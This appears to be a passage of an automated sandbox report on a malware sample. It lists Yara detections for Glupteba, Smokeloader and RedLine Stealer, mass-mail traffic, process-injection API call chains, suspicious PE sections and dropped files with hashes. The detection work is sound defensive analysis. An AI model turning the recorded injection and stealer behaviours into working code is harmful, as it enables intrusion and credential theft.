Source: Yara match	File source: 00000000.00000003.1643511590.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Glupteba

Source: Yara match	File source: 18.3.A0FE.exe.51f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A0FE.exe.50e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.4900e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.47f0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000003.2334018641.0000000005522000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2188506230.0000000005632000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2379204850.0000000004C33000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2374217277.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2332380214.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2341972204.0000000004D43000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 17

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2213288455.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000027.00000002.2379204850.00000000047F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.2213503303.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.2109723566.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.2213042796.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000027.00000002.2377973035.00000000043F4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000012.00000002.2341972204.0000000004900000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000012.00000002.2341502680.0000000004507000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: 7B24.exe.1.dr	Static PE information: section name:
Source: 7B24.exe.1.dr	Static PE information: section name:
Source: 7B24.exe.1.dr	Static PE information: section name:

PE file has nameless sections

Source: is-HDCA4.tmp.28.dr	Static PE information: section name:
Source: is-HDCA4.tmp.28.dr	Static PE information: section name:
Source: is-M56K9.tmp.28.dr	Static PE information: section name:
Source: is-M56K9.tmp.28.dr	Static PE information: section name:
Source: is-HVAMB.tmp.28.dr	Static PE information: section name:
Source: is-HVAMB.tmp.28.dr	Static PE information: section name:
Source: is-L89CU.tmp.28.dr	Static PE information: section name:
Source: is-P8UR3.tmp.28.dr	Static PE information: section name:
Source: is-P8UR3.tmp.28.dr	Static PE information: section name:
Source: is-SKTK6.tmp.28.dr	Static PE information: section name:
Source: is-SKTK6.tmp.28.dr	Static PE information: section name:
Source: is-3M1CR.tmp.28.dr	Static PE information: section name:
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-JFGB9.tmp.28.dr	Static PE information: section name:
Source: is-JFGB9.tmp.28.dr	Static PE information: section name:
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-KNVFD.tmp.28.dr	Static PE information: section name:
Source: is-KNVFD.tmp.28.dr	Static PE information: section name:
Source: is-PP906.tmp.28.dr	Static PE information: section name:
Source: is-PP906.tmp.28.dr	Static PE information: section name:
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-96K1P.tmp.28.dr	Static PE information: section name:
Source: is-96K1P.tmp.28.dr	Static PE information: section name:
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:

Source: C:\Windows\explorer.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401590
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015CB
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159B
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B0
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401590
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015CB
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040159B
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015B0
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_029C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	6_2_029C0110
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB7FA0 NtCreateThreadEx,	11_2_04FB7FA0

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004161E7	0_2_004161E7
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_00415A77	0_2_00415A77
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0041DBB4	0_2_0041DBB4
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004165CF	0_2_004165CF
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004155E2	0_2_004155E2
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0040C653	0_2_0040C653
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_00415E15	0_2_00415E15
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004161E7	3_2_004161E7
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_00415A77	3_2_00415A77
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0041DBB4	3_2_0041DBB4
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004165CF	3_2_004165CF
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004155E2	3_2_004155E2
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0040C653	3_2_0040C653
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_00415E15	3_2_00415E15
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040A461	8_2_0040A461
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040F000	8_2_0040F000
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040E8EC	8_2_0040E8EC
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040C8F4	8_2_0040C8F4
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040D530	8_2_0040D530
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040F220	8_2_0040F220
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040CE38	8_2_0040CE38
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00403308	8_2_00403308
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_004037DD	8_2_004037DD
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_004043DD	8_2_004043DD
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0040C3B0	8_2_0040C3B0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00403BB1	8_2_00403BB1
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00403FBD	8_2_00403FBD
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00776F70	8_2_00776F70
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00734860	8_2_00734860
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00776850	8_2_00776850
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075B810	8_2_0075B810
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073F8A0	8_2_0073F8A0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077A0A0	8_2_0077A0A0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077F090	8_2_0077F090
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0078895D	8_2_0078895D
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075D1B0	8_2_0075D1B0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073F180	8_2_0073F180
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00733260	8_2_00733260
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075B250	8_2_0075B250
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00760A50	8_2_00760A50
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073B240	8_2_0073B240
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075DA40	8_2_0075DA40
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00762A40	8_2_00762A40
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00779A40	8_2_00779A40
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00731230	8_2_00731230
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00736A10	8_2_00736A10
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007742E0	8_2_007742E0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007352C0	8_2_007352C0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00783ACB	8_2_00783ACB
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00761370	8_2_00761370
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00774B10	8_2_00774B10
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007763F0	8_2_007763F0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00784BF3	8_2_00784BF3
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007323D0	8_2_007323D0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077B3C0	8_2_0077B3C0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00760390	8_2_00760390
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075EB80	8_2_0075EB80
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0077BC60	8_2_0077BC60
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00775C30	8_2_00775C30
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007794D0	8_2_007794D0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00779CD0	8_2_00779CD0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00795CB7	8_2_00795CB7
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00759CA0	8_2_00759CA0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00734560	8_2_00734560
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00795D6F	8_2_00795D6F
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00734D20	8_2_00734D20
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00738510	8_2_00738510
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007615E0	8_2_007615E0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073BDD0	8_2_0073BDD0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073F5C0	8_2_0073F5C0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007765C0	8_2_007765C0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075F580	8_2_0075F580
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00798E6C	8_2_00798E6C
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00735650	8_2_00735650
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0073AE10	8_2_0073AE10
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_0075CEA0	8_2_0075CEA0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00749730	8_2_00749730
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00737FF0	8_2_00737FF0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00787FF0	8_2_00787FF0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007747C0	8_2_007747C0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_007587B0	8_2_007587B0
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00793FBE	8_2_00793FBE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E811CC	11_2_04E811CC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E847C8	11_2_04E847C8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E81680	11_2_04E81680
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E81204	11_2_04E81204
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E82430	11_2_04E82430
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E844D4	11_2_04E844D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04E84D94	11_2_04E84D94
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB8FF0	11_2_04FB8FF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB33E0	11_2_04FB33E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB86B0	11_2_04FB86B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB7FA0	11_2_04FB7FA0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB3730	11_2_04FB3730
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB3A30	11_2_04FB3A30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB9B00	11_2_04FB9B00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB31C0	11_2_04FB31C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB94C0	11_2_04FB94C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB96C0	11_2_04FB96C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB8330	11_2_04FB8330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB8A20	11_2_04FB8A20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB3E10	11_2_04FB3E10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04FB8D00	11_2_04FB8D00
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7067A0	12_2_00007FF7FA7067A0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA725D9C	12_2_00007FF7FA725D9C
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA724E50	12_2_00007FF7FA724E50
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA728B98	12_2_00007FF7FA728B98
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA701B90	12_2_00007FF7FA701B90
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA718BD0	12_2_00007FF7FA718BD0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA710BD4	12_2_00007FF7FA710BD4
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7113F4	12_2_00007FF7FA7113F4
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA71CC34	12_2_00007FF7FA71CC34
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA712C34	12_2_00007FF7FA712C34
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7109D0	12_2_00007FF7FA7109D0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7209E4	12_2_00007FF7FA7209E4
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7111F0	12_2_00007FF7FA7111F0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7231FC	12_2_00007FF7FA7231FC
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA71FA38	12_2_00007FF7FA71FA38
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716FC8	12_2_00007FF7FA716FC8
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA710FE4	12_2_00007FF7FA710FE4
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716744	12_2_00007FF7FA716744
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA71D748	12_2_00007FF7FA71D748
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA714F80	12_2_00007FF7FA714F80
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA71D0C8	12_2_00007FF7FA71D0C8
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7250CC	12_2_00007FF7FA7250CC
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA712830	12_2_00007FF7FA712830
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA725850	12_2_00007FF7FA725850
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA7080D0	12_2_00007FF7FA7080D0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716744	12_2_00007FF7FA716744
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA710DE0	12_2_00007FF7FA710DE0
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA722D60	12_2_00007FF7FA722D60
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA71FA38	12_2_00007FF7FA71FA38
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA716590	12_2_00007FF7FA716590
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: 12_2_00007FF7FA711EA0	12_2_00007FF7FA711EA0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_01C3DCD4	13_2_01C3DCD4
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657E671	13_2_0657E671
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657D798	13_2_0657D798
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06579CE0	13_2_06579CE0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06578C89	13_2_06578C89
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_065785F0	13_2_065785F0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657AA50	13_2_0657AA50
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06577BE0	13_2_06577BE0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657D030	13_2_0657D030
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_065791D8	13_2_065791D8
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657C9F0	13_2_0657C9F0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06574E78	13_2_06574E78
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06570430	13_2_06570430
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06570420	13_2_06570420
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657AA41	13_2_0657AA41
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_06575A90	13_2_06575A90
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657B8D0	13_2_0657B8D0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_065751C0	13_2_065751C0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_065791C9	13_2_065791C9
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_0657C9E0	13_2_0657C9E0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07AB16D8	13_2_07AB16D8
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07AB44A8	13_2_07AB44A8
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07AB3349	13_2_07AB3349
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07AB91B0	13_2_07AB91B0
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07ABD098	13_2_07ABD098
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07AB0040	13_2_07AB0040
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Code function: 13_2_07ABCB1A	13_2_07ABCB1A

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe E122E038DF0854C023D89060E1EACBD953C8B8436C1491AB0FC5A64DDFE86560
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy) 59CBFBA941D3AC0238219DAA11C93969489B40F1E8B38FABDB5805AC3DD72BFA

Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: String function: 0077FF60 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: String function: 00402150 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: String function: 007765C0 appears 33 times
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: String function: 0040C0C0 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\7017.exe	Code function: String function: 00007FF7FA702770 appears 41 times
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: String function: 0040C0C0 appears 41 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092

Source: B6AA.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: B6AA.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: B6AA.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: B6AA.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: B6AA.tmp.21.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: B6AA.tmp.27.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: B6AA.tmp.27.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
